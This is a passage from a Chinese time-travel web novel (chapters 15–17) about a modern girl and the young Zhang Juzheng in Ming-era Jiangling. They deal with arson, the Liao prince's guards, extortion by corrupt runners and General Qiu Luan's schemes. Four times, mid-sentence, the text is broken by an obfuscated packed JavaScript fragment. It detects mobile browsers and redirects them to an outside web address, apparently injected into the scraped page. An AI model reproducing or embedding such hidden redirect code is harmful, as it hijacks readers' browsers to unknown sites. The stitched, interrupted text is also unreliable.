更可恨的是那群愚民,看见贼寇撒钱就不要命般拿着木棍农具一拥而上,吓得府里满身铁甲银盔的兵士们裤子没穿好就挤着往侧门逃跑,甚至有好几个死于踩踏。 他本来已经寻到了皇女殿下的踪迹,只待明日与贼寇谈判条件,届时还朝后说不定能大受皇上封赏,甚至压郭勋一头也未可知…… 郭勋,开国功臣武定侯郭英五世孙,因“大礼议”时揣测圣意,首助张孚敬,大得嘉靖欢心,督禁军,官拜太师,今年又被进封为翊国公,在朝中可谓风头无两。 他与仇鸾同样出身勋贵,又同为武将,嚣张跋扈的程度比仇鸾只高不低。 这个名字一浮现,仇鸾瞬间觉得自己找到了答案。 哪有山匪敢胆大包天主动进攻朝廷官军?一定是郭勋在他身边埋了卧底,察觉他有了线索就派人暗中搅局! 奸佞小人!坏了他的计划不说,又置皇女殿下安危于何处?真是其心可诛! 他忙问手下:“可有谁逮到了在府内放火的贼子?” 幕僚讪讪低头:“这……事发突然,咱们撤得急……” “废物!”仇鸾抓起桌上的瓷碗往地上一摔,稍微出了口郁气。他冷静下来,知道自己的推断再正确也无济于事,起码得有证据,“把营里的人都点上,立刻回荆州城!” 县衙里的临时会议还没结束。氛围之激烈,已经进入到堂前互殴状态。 这群苦读圣贤书的文人士子,竟比仇鸾手下习武的兵将更武德充沛。 姓王的老头说:“我们王家的祖宅亦在城西,这一场火损失惨重,三间屋舍皆付之一炬……实非不愿护卫乡土,而是心有余力不足啊!” 姓刘的老头却不给他面子:“这倒奇了,刘某一路自城西而来,眼见火势虽大,却都在杨柳巷一带。未曾想还烧到了十几里外的王家巷?” 王老头身后又站起一个中年人:“世叔这话何意?咱们都是江陵人,乡里乡亲的,如若不是真有苦衷,难道有谁不愿彼此襄助?晚辈倒是听说,贼寇是从东门进城的,且一路畅通无阻。这东门守备与刘家是姻亲,贼人进了城就直奔城西,对你刘府可是秋毫无犯。” 刘老头身后的年轻人拍案而起:“王成,你这话什么意思!” 王成冷笑一声:“晚辈实话实说罢了。” 年轻人气性大,挥着拳头一个箭步冲了上来。然后骂战升级,姓王的和姓刘的厮打在一起,互相攀扯,又不小心伤到了姓李的……堂前一片混乱,有人试图拉架被揍,索性也加入战局,原本的深夜紧急会议,变成了街头乱斗现场。 刚跑回县衙的连嬅看得瞠目结舌,不由得想起了几十年后隆庆内阁里高拱和殷士儋两位阁老撸起袖子互殴的场面。 虚假的政治斗争:帝王权术,阴谋阳谋。 真实的政治斗争:破口大骂,互扯头发。 有位年轻士子激愤难平:“贼子尚在作乱,县里人心惶惶,晚生以为平叛之事宜早不宜迟。既然都不愿出人,那干脆放仇将军兵马进城。荆州卫离此地不远——” “万万不可!” 还在打群架的一众人默契地停了手,几乎异口同声地说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736937|157358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一位士子说:“此时城内真正作乱的匪寇只是少数,余下多是被煽动的乱民,哪里到了非要请兵的地步?再者说请神容易送神难,仇将军若纵兵马在城内劫掠,我等又要请谁去退仇将军?” 又有人附和:“正是。此贼进城后只烧杨柳巷别苑,估计与仇将军颇有渊源。若请仇将军兵马进城,说不定逼得贼人狗急跳墙,在城内四处纵火,届时我县百姓岂不更受苦难?” 县衙里无人可用,乡绅们只求自保不愿出人,又不敢放仇鸾的兵马进城,这件事似乎走进了死胡同里。 张居正保持沉默,静听了许久,终于开口:“不若请辽王府护卫襄助。” 辽王府就在城内,离衙门也不远,倘若真能请动,倒是现阶段最好的选择。 明朝初年,一个亲王府标配三个藩卫,一卫满编为五千六百人,合计近一万七千人。这还只是明面上的兵力,私底下更不敢想。朱允炆登基后,担心诸王拥兵自重,下狠手削藩,却把叔叔朱棣惹急眼了。 建文元年秋七月,燕王朱棣誓师抗命,发兵靖难,三年之后攻占北京,登极称帝。由于他自己就是藩王上位,对卧榻之侧的其他藩王们只会更忌惮。王府护卫人数一砍再砍,到了嘉靖年间,多的也许还有一个卫,少的只剩三五百。 ——辽王府目前还有接近两千人的仪卫司。 说多谈不上,但足够辽王子子孙孙在荆州作威作福的。 并非没有人想到这支“援兵”,但辽王府在荆州一带的“赫赫威名”,已经足够让所有人避而不谈。 张居正走到堂前,向县令拱手请命:“在下愿往辽王府借兵。” 朱宪节尚在守孝,如今只是辽王世子。所以辽王府当下真正的主人,是辽王妃毛氏。 毛氏深明大义,又一贯欣赏张居正的才气,待他礼遇非常。向她借护卫平乱,张居正至少有七八成的把握。 坐在堂上眼看骂战和群殴的县令本来已经心灰意冷,看他主动请缨,勉强提振精神:“张相公如此年纪,勇于任事,真难能可贵。若能请动辽王府护卫,本官代百姓们深谢相公。” 他话音未落,一位焦眉苦脸的衙役急匆匆闯进了大堂:“堂尊,小人有要事禀报!” 看衣着像是快班的,也不知具体什么身份。县令见到他,神色为之一变,顾不及里面这些乡绅士子,匆忙下堂跟人往外走。 又出什么乱子了?难道贼寇跑去其他地方放火了? 连嬅放心不下,悄悄跟过去几步。 两个人走到后院一棵大槐树边,确认左右无人,那衙役压低了声音:“大事不好,朝廷新派的知府为阉竖所害,死于赴任路上……” 耳聪目明的连嬅在稍远一些的位置听了个一清二楚。她脑子一轰,人都蒙了。 只知道嘉靖朝的首辅是个危险的工作,怎么小小一个荆州知府也能闹到这地步? 李士翱被提拔后,继任的不是李元阳吗?这位知府对张居正更是欣赏有加,在府学考校诸生时一眼看中张居正的答卷,列为六百人之首,评价曰:此子当为太平宰相。 ——现年十四岁的“太平宰相”走到连嬅身边,敲了下她的头:“杵在这儿做什么?” 15. 第 15 章 人间天上隔星汉,天上岂是神仙居。[注1] 张府的砖瓦房小四合院在江陵县已经称得上体面人家,但论精致程度,甚至连被烧毁后的杨柳巷别苑都远远不及。而若说别苑已是人间富贵之极,那辽王府简直是天上仙宫。 城墙由巨型方料石砌成,高约二丈九尺,下宽六丈,上宽二丈,周若千丈,开有东南西北四门,占地面积将近千亩。按照连嬅的换算方式,约等于三个鸟巢。 城墙之外,还有一道护城河,阔十五丈,深三丈,将这座地处荆州城内却又超然其上的王城与周围直接隔断。 这何止是地主,完全是地主中的大地主,地主的支配者。 城楼上覆盖的青色琉璃瓦,大门上装饰的丹漆金涂铜钉,在熹微晨光下熠熠生辉,仿佛朱明王朝不朽的帝业。 被反射光晃到眼睛的连嬅赶忙低下脑袋,绝不肯承认仇富的情绪正在高涨。 她两辈子都没见过这么多钱! 辽王妃毛氏是个看起来三十岁左右的年轻妇人,论相貌当不起什么倾国倾城,只是气度从容,自带一股书卷香,完全是标准的大家闺秀的模板。 她很亲切地为两位小客人赐座,又叫下人奉茶。 “这位小公子是?” 连嬅出门时穿的是男装,因为年纪小,性别模糊,看起来就是个清俊少年郎。 真论辈分的话,辽王妃还是她奶奶一辈的。第一代辽王朱植是太祖皇帝第十五子,按“贵豪恩宠致宪”传到朱宪节;道长的皇位继承自明成祖朱棣,是燕王一系的“高瞻祁见祐厚”,两人是同辈。 “舍妹顽劣,让王妃殿下见笑了。” 毛王妃莞尔:“原来是张相公的妹妹,我道小公子一表人才的,怎么从前竟未耳闻?” ——不知道该怎么接话的时候,微笑就好。 连嬅深谙此理,颔首低眉,故作羞涩。 这种场合,她还是当个安静的摄像头比较好。 话题很快转移到了正事上。张居正说起城内贼寇放火作乱,又道知府迟迟未至,县官孤掌难鸣,如今世情如沸釜,县内百姓皆引领而望,急待有救民于水火者。而王城与荆州城唇齿相依,祸福与共,荆州若乱,辽王府也难独善其身。 总之情况讲清楚了,高帽子也带了,道德绑架与晓以利害并用,既情真意切又言之成理,写下来一定是高分作文。 毛王妃果然被打动了,但她正要同意时,堂外却闯进来一道鸭子嗓少年音。 “张相公所言有理。可祖宗之法在上,王府的护卫是要守藩禁的,不得旨意,安敢任意出府?” 穿着一身道袍的朱宪节步入大堂,头戴白玉冠,广袖一甩,躬身向母亲行礼。他比张居正还小一年,才十三岁,端得是少年风流,翩翩世子。 他起身时,目光似不经意般在张居正身上一晃而过,又在瞟到连嬅时短暂停顿了两秒。 也不知道是不是心理作用,这长达两秒的凝视简直像毒舌吐信,盯得连嬅起了一身鸡皮疙瘩。 她捏着袖子里的短匕冷静地思索着:在蚊子吸食人血之前将其拍死是否符合人道主义精神? 堂内仅有几名侍女,倘若连嬅暴起伤人,朱宪节肯定活不过今晚。 但是大局为重。她此刻也只能想想而已。 被计划外乱入的朱宪节驳回提议,张居正温和一笑,仍然条理清晰:“非常之时乃有非常之事。《圣祖训》有言:‘天下之大,必建藩屏,上卫国家,下安生民’。《皇明祖训》亦有记载:‘如本国是险要之地,遇有警急,其守镇兵、护卫兵并从王调遣’。永乐十八年,贵阳等地有山贼造反,辽王府护卫亦被调遣平乱。想必圣明如殿下者,必不肯见荆州百姓挣扎于贼乱。” ——男神你真是个用典的天才。 朱宪节吃了一噎,没话反驳。毛王妃还在高堂上坐看,他只得讪讪一笑:“本王也正打算派兵平乱,护守乡里。” ——呵呵。 调兵这种事麻烦得很,不是上下嘴皮子一碰就能把人召集起来指哪打哪的。更何况辽王府的护卫们多年不涉战事,仪卫司早就成了花架子,根本没有令行禁止一说。 但不论如何,朱宪节亲口应下,辽王妃也点头准允,结果上总归是达成所愿了。 连嬅的思绪从辽王身上移走,又转到那位被阉竖所害的荆州知府身上。 她的蝴蝶翅膀只在江陵县震了两下,总不至于把李元阳震没了吧? 从王府这座巨型迷宫往外走的一路上,张居正沉凝不语,毫无喜色。直到走出王府几里地,他终于停下脚步,转回身。 正在搜肠刮肚回忆李元阳生平事迹的连嬅完全没看路,埋头朝前走,直直撞了上去。 将近一米五的身高,正好到张居正的肩膀。 幸亏体重够轻,惯性不大,不然她的头肯定没事,男神的肩膀会不会脱臼就不好说了。 连嬅被迫停步,满脸问号:虽然对朱宪节十万分不爽,但我不是安静地当了快半小时的花瓶吗?还是说找辽王府借兵一事暗藏玄机? “我不该带你过来。”张居正说。 “那位辽王世子,你一定要离他远点。” 他说这话时的神态很像叮嘱幼儿园小朋友远离坏人的幼师。 “哥,你会不会太多虑了。”连嬅哭笑不得,“如果不是你在,我连辽王府的护城河都过不去。” “倘若他派人邀你进府呢?” ——那我直接大闹辽王府,给这死变/态狠狠上一课。 “我绝对有多远躲多远!”她坚定地回答道。 荆州府四门紧闭,全城戒严,辽王府的千余名护卫并本地乡绅的一些家仆各自分工,一部分看守城门,一部分在城中搜捕贼寇。 夜里群情激奋、跟着贼寇四处□□的乱民在太阳升起后销声匿迹。衙门的招安布告一贴,甚至还有心思活泛者主动为官府提供情报,想来个两头吃。 原本缩在自家避难的衙役们也一个个点卯应值,继续威风凛凛地显耀官威——尽管他们其实根本不是官。 这场地毯式的搜捕行动以杨柳巷为中心向四周扩散。夜视能力良好的连嬅因为见过为首作乱的贼寇,自告奋勇,被选为特别协助人员,跟随衙役们一同行动。 领头的那位姓金,是快班的班头。他身边两位随从,一个姓周,一个姓孙,连衙役都不算,只是帮闲。 按照连嬅的理解,衙役算是县衙的外包岗,而帮闲则是外包的外包。 他们这一队外包从杨柳巷往西盘查,金班头大约得了什么叮嘱,对连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751903|157358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嬅这个小孩还算客气。两位帮闲就不同了,路上无聊,便拿她调笑一番。 “嗐,小崽子毛还没长齐,也敢跑来抓贼啊?” “就这个子,跳起来能打到山贼的膝盖吗?” “哈哈哈哈哈——” …… 反正只是临时同事,她忍了。 但本以为这搜查是挨门挨户地找,结果刚到第一家卖绸缎的布庄,金班头就带队跳过了。 “这家不用查吗?”连嬅不解地问。 两个帮闲又一阵笑。金班头倒是好心,提醒了她一句:“这家布庄姓王。” 姓王怎么了?这可是纵火抢劫杀人的大案!姓朱也得查啊! 可惜这队里都是些老油子,深谙本县关系网,只有她一个愣头青。 队伍还是径直走向隔壁的生药铺。 守药铺的小二一见衙役,立马拿起木板封门,看着颇有藏匿嫌犯、做贼心虚的架势。连嬅正想冲过去把人制住,身旁膀阔腰圆的周帮闲已经以短跑健将之姿蹿到了门前。 门被硬生生撞开,铺子里还坐着一个干瘦老头,看见衙役,一副愁眉苦脸,要死不活的样子。 “我等奉命搜捕流寇,你关门何意?店里莫不是窝藏贼犯?” 周帮闲一拍门板,掌柜的跟着门一起抖,本就枯树皮一般的脸上又多了几道沟壑。 “冤枉啊,小人岂敢。” “我看你这生意是不想做了。”孙帮闲冷声道。 “几位官爷,小人店里刚遭了贼,实在没有余钱了……” 连嬅从角落里探出头:“是昨晚那一伙儿贼吗?他们朝哪去了?” 周帮闲立刻回头瞪了她一眼。这小子真是没点眼色,抓贼什么时候不能抓,赚银子的机会可不是次次都有。 掌柜迟疑道:“小人也未看仔细,约摸朝槐树巷那边去了。” “得了,废话少说。”金班头终于开了金口,“老子亲眼看见你昨夜抢杨柳巷别苑的东西,赃物何在?” 掌柜的一下子脸色涨红,支支吾吾地:“这……小人昨夜一直守在铺子里。” 三位壮汉挤在狭窄的生药铺,压迫感十足。金班头一拍桌案:“不说是吧,不说我们直接搜!” 掌柜的又是一颤,哭丧着脸咬着牙从柜台下摸出最后一两银子,颤颤巍巍地塞给金班头:“官爷兴许是看错了……” 金班头是个心善的,也不欺压过甚,拿了这块银子,掂掂重量,咧嘴一笑:“夜里黑,确实是看岔了。” 然后又去另一家如法炮制,专挑没权没势但还有点钱的商户下手。一次少则一两,多则三五两。跑了半天,什么贼寇的线索没见着,银子倒是捞了得有五十两。 连嬅从震惊到麻木,前几家还见缝插针地问两句贼寇的消息,后面渐渐一语不发。 等到结束散伙时,她终于又开了口:“我下午不过来了。” 金班头一愣,随即大松一口气,脸上的笑藏也藏不住:“既这样,上午的工银我分你一份。” 要不是他当典史的妹婿说千万别得罪这小孩,他早想把这碍事的家伙踢出去了。现在人家主动求去,他岂有不应之理。 “用不着。”连嬅朝他露出一个假的不能更假的微笑,“这钱我受之有愧。” 16. 第 16 章 半夜的大火让张府上下提心吊胆熬了个通宵,直到见张居正平安归来,总算能松口气。 赵夫人朝他身后望了几眼,没见人,忙问道:“你妹妹呢?” 以连嬅的身手,县衙里那些酒囊饭袋十个也未必打得过她,更何况张居正离开之前还特意嘱托县令多加关照。她就算在衙门里上演大闹天宫,只要别太过分,也只会被客客气气地请回张府。 但做长辈的总是习惯性担心,尤其在赵夫人眼里,连嬅只是个十岁出头的柔弱小姑娘。 张居正七分真三分假地地说:“她见过贼首,故此暂留衙门里帮忙。” 果不其然,赵夫人脸色一下子变了:“县衙是什么好地方!她不懂事,你竟也由得她胡闹!” 张居正苦笑。他倒是想拦,那也得拦得住啊。 说实话,他现在非常好奇,究竟什么样的家庭,才能养出连嬅这种心性的孩子? 懂得装乖卖巧,也有审时度势的眼色,却偏偏不通世俗。明明对官府毫无敬畏之心,甚至对辽王也满不在乎,却莫名地信任衙署。天性烂漫随和,不好争强斗胜,却喜欢为人鸣不平,往自己身上揽事。该说她侠肝义胆,赤子心肠,还是天真过头,胆大包天? 倘若生为男子,兴许会成为一员虎将。 他宽慰母亲:“她待不了多久的,兴许没一会儿就回了。” 一个目下无尘的人,在一个乌烟瘴气的地方能忍多长时间? 答案是半天不到。 浑身上下似乎都在散发黑气的连嬅精疲力竭地回到了张府。熬了一整宿,靠着马上就能抓捕贼凶让真相大白的信念又硬撑了半天,最后被冰冷的现实打回原形。 她朴素的善恶观就像刚穿越过来时的唯物主义世界观一样,正在逐步走向崩塌。 杀良冒功、荼毒乡里的仇鸾大将军是好人吗?半夜放火烧了仇鸾的宅子,还给贫民百姓分钱的匪徒是恶人吗?打着抓捕凶手的幌子,干些敲诈勒索的勾当的衙役是好人吗?无权无势,只能任人鱼肉的底层商人是恶人吗? 那她现在的所作所为,岂不是在助纣为虐? 虽然上辈子看了些史料,对明中后期政治腐败、官场黑暗有字面上的了解,但文字描述远远比不过亲眼所见的冲击。 本来她还想着,区区十几个贼寇,又不能插翅膀飞了,只要捉拿归案,盘问明细,说不定就能顺藤摸瓜,揪出幕后黑手。 现在她只有一个想法:累了。 连嬅吃过午饭,闷头大睡到酉时,总算补足了一点精神,听见敲门声,还以为是王嬷嬷喊她吃晚饭,满头乱发理都没理,打着哈欠说了句:“进。” 推门进来的是张居正。 就好像他们第一次正式见面时那样,他推开门,然后安静地站在门口,眉心微蹙,似乎还在斟酌措辞。 连嬅的表情凝固了,她努力扒拉了几下头顶的鸡窝,确认真没救了,选择自我放弃。 ——但愿没有睡出眼屎。 “你该不会哭了一下午吧?”张居正看着她泛红的眼睛问。 “为什么要哭?”连嬅震惊地仰起脸,她现在很怀疑自己在张居正心里究竟是个什么形象,“我只是在补觉!” “那就好。”张居正展颜一笑,“还以为你在县衙里大受打击,一蹶不振了。” ……有那么明显吗。 但她现在的确需要一个可以倾诉困惑的对象,而张居正此时此刻就是最合适的人选。 “我不明白,”连嬅嘴角向下一撇,眉头紧锁,“为什么县里的衙役不急着抓凶手,却急着敛钱?” “抓凶手有钱可赚吗?”张居正反问。 “可他们不就是干这个的吗?” “是啊,无论做得成做不成,总归一个月就是那点月钱。”张居正平铺直叙,不带任何感情地陈述道,“做得好又如何,不如给上头多送点礼,攀攀关系,不然怎么从帮闲混成衙役,从衙役混成班头?” “大家都这样,工作什么时候能做完?县令也不管吗?” 张居正扑哧一乐,被她的天真发言逗笑了:“你知道一个县衙里能堆多少案子吗?” 官司早就积压成山了。除了抢劫杀人的大案,衙门里每月只逢3、6、9放告,每次放两三个讼告过堂。反正虱子多了不痒,债多了不愁。 下梁歪了,上梁更是正不到哪里去。正所谓千里做官只为钱,不多捞点怎么对得起这些年寒窗苦读?上下级官吏们彼此睁只眼闭只眼就过去了。 连嬅嘴唇动了又动,只能愤然感慨:“因为商人排在最末,就专挑软柿子捏!” “那倒不是。”张居正澄清道,“比如我几年前考童生试,还看见负责搜检看门的官兵自带小抄栽赃考生,勒索财物的。” ……真是敛钱敛出了水平,敛出了风采。 连嬅已经无言以对了。 大明怎么还没完蛋啊? 然后她盯着年纪轻轻、尚且生机勃勃的男神看了一眼,长叹口气。 张居正莫名其妙,挑了下眉头:“你这什么眼神?” ——深深的同情。 “哥,要不你每天早上在院子里跑个十圈吧?” 给这从里到外烂得摇摇欲坠的危房搞修复工作,是真的折寿。 本想连夜回城抓凶的仇鸾一直到第三天傍晚才总算点齐兵马。 从荆州城落荒而逃的好几个护卫,兴许是为了颜面,在营内大肆渲染当晚的惊世一战。说乱民足有几万之数,且个个装备了足以破甲的铁器,还有什么霹雳箭震天雷……要不是他们抛头颅洒热血,终于杀出一条血路,恐怕仇将军都要折在城里啦。 这话传出去,护卫们的面子是保住了,留守荆州卫的兵士们心也全慌了。 他们祖籍都在顺天府,家里虽不富裕,好歹有口吃的,出来当兵只是身为军户无可奈何。自从跟了仇将军,硬仗是没打过的,平时只在军屯种地,面对最多的敌人还是一群手无寸铁的流民。一听说乱贼有好几万,个个打起了退堂鼓。 仇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764469|157358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸾要点人出营,他们要么头疼要么肚子疼,死拖着不肯走,被逼急了就卷铺盖逃跑。一个月才那么几个钱,还有可能把命搭在离家几千里的异乡,这差事谁肯干啊? 士兵畏战,甚至哗变,作为将领该如何处理?仇鸾的选择是杀。 散播谣言的、偷偷逃跑的,只要被他抓到,全部腰斩,悬尸辕门,以儆效尤。 这样酷烈的手段下,终于勉强纠集出大约两千人的队伍。未免夜长梦多,他下令立即开拔,直奔荆州城。 此时的荆州城仍在戒严。城楼瞭望台上的哨探第一时间侦测到了这支不速之兵的动向,慌忙向县令汇报。 于是衙门里又开起了紧急大会。 这一回人是来齐了,几乎占满了中央的空地。六房的司吏等有官身的在前,没身份的三班衙役站后,一些在本地举足轻重的士绅站在左侧,后面还有几位里长。 县令坐在堂上,眉头皱得能夹死几只蚊子:“如今内乱未平,外又有来意不明的兵马围城。本官得到消息,新任府台正在路上,不日便至。县中诸事,无论大小,需得小心应对,万不可轻忽。” 辽王府仪卫司指挥使也在会上,他倒是气定神闲:“禀堂尊知道,城外乃是仇将军部下,他已递了信来,只为帮县里平乱。陈某以为,放进来也未尝不可。” 仇鸾又不敢纵兵袭扰辽王府,他站着说话自然不腰疼。 县令压着怒气,也不敢对此人摆官威,勉强笑着开口解释:“本官身为江陵县父母,实不愿见百姓们再遭兵祸。仇将军急公好义,也可在外予以依仗,县内之事,还是本地牧守处置为好。陈指挥以为呢?” 陈指挥不置可否,倒有位士子为他帮腔,支持仇鸾进城。左侧一列乡绅瞬间炸了锅,骂不了陈指挥使还骂不了你这二狗子?大堂上又吵成一团,最后到底是拒绝进城的占多数。 四座城门仍旧紧闭,仇鸾在城墙下徘徊半天,声称自己有皇帝敕谕,但守城的县令非要见旨才肯开门,两方就此僵持。到了夜里,军中又开始有人外逃。眼见形势逐渐难以控制,仇鸾终于咬咬牙,下令先回营城。 小小一个七品知县,也敢挡他仇鸾的路!若不是敕谕落在了城里,这县官早该打开城门,跪地拜迎了! 他给嘉靖写了封密信,先报喜自己已查出皇女殿下行踪,但因叛贼作乱而计划中断。随后指责江陵知县抗旨不遵,不肯让他进城寻人。最后再暗戳戳影射几句郭勋,表示自己忠心耿耿为朝廷卖命,没想到有人不肯借兵便罢了,还要暗中捣鬼。 把信交送出后,他又拆开了辽王府陈指挥使送来的信函。 很少有人知道,杨柳巷别苑其实是辽王府的私产,更准确地说,是朱宪节的私产。仇鸾一入荆州城地界,就先和辽王府攀上了关系,还投其所好暗中送了不少美人,被明面上为父守制的朱宪节藏于地牢内。仪卫司的陈指挥同样收了他许多厚礼,信中称明晚酉时末寅宾门换班,将军若想进城,可趁此时。 仇鸾读完信,心情终于舒畅不少。 17. 第 17 章 在本朝特有的翰林学士-普通进士-举人-武将的鄙视链下,能进翰林院的都是士人中的佼佼者,前程无量的“储相”。所谓“一入翰林,则不屈膝,虽拱揖,腰背不甚折,所以养相体也”[注],馆选庶吉士后又被贬官外派的其实不多。 大才子杨慎是一个,为了嘉靖皇帝认谁当爹的问题,他在左顺门大闹一场,和二百多位同僚一起光荣地被扒了裤子打板子,而后流放云南。 后来扳倒严嵩成功上位的徐阶是一个。他在祭祀孔子的问题上得罪了嘉靖的宠臣张孚敬,气得嘉靖大发雷霆,怒骂“徐阶小人,永不叙用”,被贬到福建。 李元阳也是一个。他是嘉靖五年的进士,选翰林院庶吉士,在“大礼议”中因反对嘉靖给父亲加的封号,被贬到江西,成了一名知县。 和徐阶被贬后谨慎为官、戒狂戒躁的态度不同,李元阳毫不收敛。在基层苦熬许多年,好不容易凭政绩回归中央,眼看仕途一片坦荡,他先是上疏谏止嘉靖南巡,得罪了皇帝,又上疏弹劾大学士夏言选官只选江南富户,得罪了内阁。于是夏言上奏,皇帝御批,他又被贬去荆州做知府。 这是一位清正耿介、且根本不怕得罪人的官员。 他并非孤身上任。虽说亲眷尚在顺天府,但也许考虑到上一位荆州知府就任途中死于横祸,朝廷特意给他安排了一小队锦衣卫护送。 这支小队里,领头的那位甚至比被护送的李元阳来头更大——正是南巡时从大火中救驾,已官拜锦衣卫指挥使的陆炳。 一位正三品的武官,护送一位正四品的知府。尽管本朝一向重文轻武,可陆炳乃天子近臣,深沐皇恩,怎么想也不该被派来送地方知府赴任。 李元阳琢磨了一路,也没琢磨明白荆州府到底有什么值得陆炳来一趟的?他们原本正在随圣驾返京的路上,临时得了任命后从钧州出发,一路骑马疾行,短短五天便抵达目的地。 远远地,荆州城轮廓渐显。李元阳居高而望,正有俯视中原,遥瞻岱岳之感,却惊觉城外竟有上千兵士围城。 陆炳察觉得更早,他派去的哨卫已经带回了消息。 “城外是咸宁侯仇鸾的兵马。”哨卫回报道,“据说,是为了进城剿匪。” 陆炳脸色微沉:“去通报一声,我要见他。” 对着江陵知县,甚至提学官,仇鸾都不吝啬摆弄权势,压人低头。如果来请他的只是荆州知府,那他完全不会当回事,可偏偏还有一个陆炳。 如果说他对郭勋是畏惧又嫉恨,那对陆炳就是纯粹的畏惧。 此人可不单单是个锦衣卫指挥使,他母亲是皇上的乳母,他与皇上更是自幼一起长大的奶兄弟,虽然姓陆,其实姓朱,加之武艺高强,城府深沉,二十三岁中武进士,二十七岁执掌南镇抚司,如今又有救驾之功……试问朝堂上下有几个敢得罪他呢? 约定好的酉末已至,仇鸾只能暂缓计划,迎陆炳入营。 站在前列的李元阳见了他,脚步未动,眉头先竖,冷笑道:“咸宁侯,汝拥兵围城,欲谋反耶?” 寅宾门城楼上那几个披着人皮带着人头的稻草人终于被移走烧毁,看起来竟有几分空空荡荡的。连嬅望着城楼发了会儿呆,又扭头看西边,日光下沉,的确已经过了换班的时间。 这几天城内戒严,轮值守门的工作是辽王府借来的护卫和县城内的衙役共同分担的。 酉时末,陈指挥使带着镇守东门的护卫撤离时,似乎有那么点依依不舍的意思,可确实什么岔子也没出,现在守门的已经换成刑房的皂隶了。 仇鸾人呢?难不成他连皂隶们也买通了,觉得傍晚太过明显,打算夜开城门? 她把目光移到对面还在看书的张居正脸上。 男神你倒是说句话啊! 两天前,赵夫人伤了风,咳个不停,连嬅去附近的医馆给她买甘草片,却意外得知这里也遭了贼。她猜测那几个纵火犯中有人生病或负伤,因此沿路拜访了好几家药店,把失窃的地点记录下来,绘成一张简陋的地图。 无论受伤还是生病,人肯定走不远,大概率就在这些点围成的圈内。 可赵夫人担心城里不安全,不许她再出门。为防连嬅悄悄翻墙出去,还把人看在眼皮子底下学绣花。 没办法,她只能找张居正求助。 “我帮你把消息传给县衙?”张居正一边看书,一边漫不经心地给了个完全不靠谱的解决方案。 一看就是在逗小孩,连嬅嘴一撇:“我可不想给衙役创收。” 张居正偏头看她:“你计划如何呢?” ……什么计划,不就是把这一圈都走一遍,排除法看哪里嫌疑大吗? “方圆十里地,你熟悉路吗?哪里有小道?哪里能藏身?你都清楚吗?恐怕人家病好换地方了,你还没找着。” ……你说话好伤人。 张居正把一颗精神抖擞的小白菜打击成了蔫茄子,终于大发善心浇了点水:“为何不找合适的人去做呢?” 什么是合适的人?当然是附近的流民、混混、乞丐之类,他们本来就活在最阴暗的角落里,对这座城市的死角再清楚不过了。 连嬅恍然大悟,随后又有些踌躇:“那我应该给他们多少钱呢?” 她手里还留着上次打劫时义赚来的大约三十两不义之财,用这笔钱抓贼,似乎也算是得其所了。 张居正问:“你哪来的钱?” 好问题。连嬅低着头努力找借口,终于想起那个混乱的夜晚:“杨柳巷起火那天院里捡的。” 对,是捡的,不是偷的,也不是抢的。 张居正:“……” 其实县衙里也张贴了通缉布告,而且悬赏五两银子。画像还是连嬅口头描述,师爷亲笔绘制的,只是成图抽象得只能认出是个人。再加上各类特征都比较模糊,所以才这么多天没有结果。 现在范围缩小了,又知道人很可能有伤病,找起来就容易很多。附近的流民、混混们为了几个铜板四处打听消息,效率远胜过吃公粮不干事的衙役。不到一天,在某个小巷的废草屋里,连嬅见到了那天站在喊话的贼首身旁的从犯。 这个人看起来倒蛮像个穷凶极恶的山贼,但一开口就漏了馅。 他说话是顺天府口音。 这年头哪有人落草为寇还要特意跑去几千里外? ——多半是仇鸾府上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773021|157358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的护卫。 快班来了将近二十个衙役,每个人又带了一到两个帮闲,足以把整个草屋围得水泄不通。这位不幸得了重感冒被同伴抛弃的纵火犯蜷缩在草屋的一角,还在止不住地咳嗽。 金班头就地盘问:“你同伙何在?” 这人一副要把肺咳出来的架势,没有回话。 周围一圈人害怕是瘟疫,不约而同地往后退。金班头还想维持一下威严,听见他又咳几声,也开始往后退。 